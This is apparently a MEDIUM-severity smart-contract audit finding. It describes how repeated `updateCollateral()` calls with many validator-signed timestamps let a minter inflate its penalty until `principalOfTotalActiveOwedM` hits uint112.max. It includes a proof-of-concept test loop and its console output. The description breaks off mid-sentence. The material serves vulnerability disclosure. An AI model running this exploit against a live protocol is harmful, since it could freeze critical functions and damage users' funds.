MEDIUM severity: The vulnerability arises from the `updateCollateral()` function, which allows malicious minters to r. The vulnerability arises from the `updateCollateral()` function, which allows malicious minters to repeatedly penalize their undercollateralized accounts in a short period of time. This can lead to the `principalOfTotalActiveOwedM` reaching the `uint112.max` limit, causing critical functions such as...

Vulnerable code:
```\npenalty: 1 94536959275 94536000000\npenalty: 2 95482328867 95481360000\npenalty: 3 96437152156 96436173600\npenalty: 4 97401523678 97400535336\npenalty: 5 98375538914 98374540689\npenalty: 6 99359294302 99358286095\npenalty: 7 100352887244 100351868955\npenalty: 8 101356416116 101355387644\npenalty: 9 102369980277 102368941520\npenalty: 10 103393680080 103392630935\n\npenalty: 5990 5192349545726433803396851311815959 5192296858534827628530496329220095\npenalty: 5991 5192349545726433803396851311815959 5192296858534827628530496329220095\npenalty: 5992 5192349545726433803396851311815959 5192296858534827628530496329220095\npenalty: 5993 5192349545726433803396851311815959 5192296858534827628530496329220095\npenalty: 5994 5192349545726433803396851311815959 5192296858534827628530496329220095\npenalty: 5995 5192349545726433803396851311815959 5192296858534827628530496329220095\npenalty: 5996 5192349545726433803396851311815959 5192296858534827628530496329220095\npenalty: 5997 5192349545726433803396851311815959 5192296858534827628530496329220095\npenalty: 5998 5192349545726433803396851311815959 5192296858534827628530496329220095\npenalty: 5999 5192349545726433803396851311815959 5192296858534827628530496329220095\npenalty: 6000 5192349545726433803396851311815959 519229\n```\n```\nfunction test_penaltyForUndercollateralization() external {\n    // 1. Minter1 deposits $100,000 t-bills, and mints 90,000 $M Tokens.\n    uint initialTimestamp = block.timestamp;\n    _minterGateway.setCollateralOf(_minter1, 100000e6);\n    _minterGateway.setUpdateTimestampOf(_minter1, initialTimestamp);\n    _minterGateway.setRawOwedMOf(_minter1, 90000e6);\n    _minterGateway.setPrincipalOfTotalActiveOwedM(90000e6);\n\n    // 2. Minter does not update for 4 updateCollateralIntervals, causing penalty for missing updates.\n    vm.warp(initialTimestamp + 4 * _updateCollateralInterval);\n\n    // 3. Minter fetches a lot of signatures from validator, each with different timestamp and calls `updateCollateral()` many times.\n    //    Since the penalty for uncollateralization is counted every time, and would hit `uint112.max` at last.\n    uint256[] memory retrievalIds = new uint256[](0);\n    address[] memory validators = new address[](1);\n    validators[0] = _validator1;\n\n    for (uint i = 1; i <= 6000; ++i) {\n        uint256[] memory timestamps = new uint256[](1);\n        uint256 signatureTimestamp = initialTimestamp + i;\n        timestamps[0] = signatureTimestamp;\n        bytes[] memory signatures = new bytes[](1);\n        signatures[0] = _getCollateralUpdateSignature(\n            address(_minterGateway),\n            _minter1,\n            100000e6,\n            retrievalIds,\n            bytes32(0),\n            signatureTimestamp,\n            _validator1Pk\n        );\n\n        vm.prank(_minter1);\n        _minterGateway.updateCollateral(100000e6, retrievalIds, bytes32(0), validators, timestamps, signatures);\n\n        console.log("penalty:", i, _minterGateway.totalActiveOwedM(), _minterGateway.principalOfTotalActiveOwedM());\n    }\n}\n```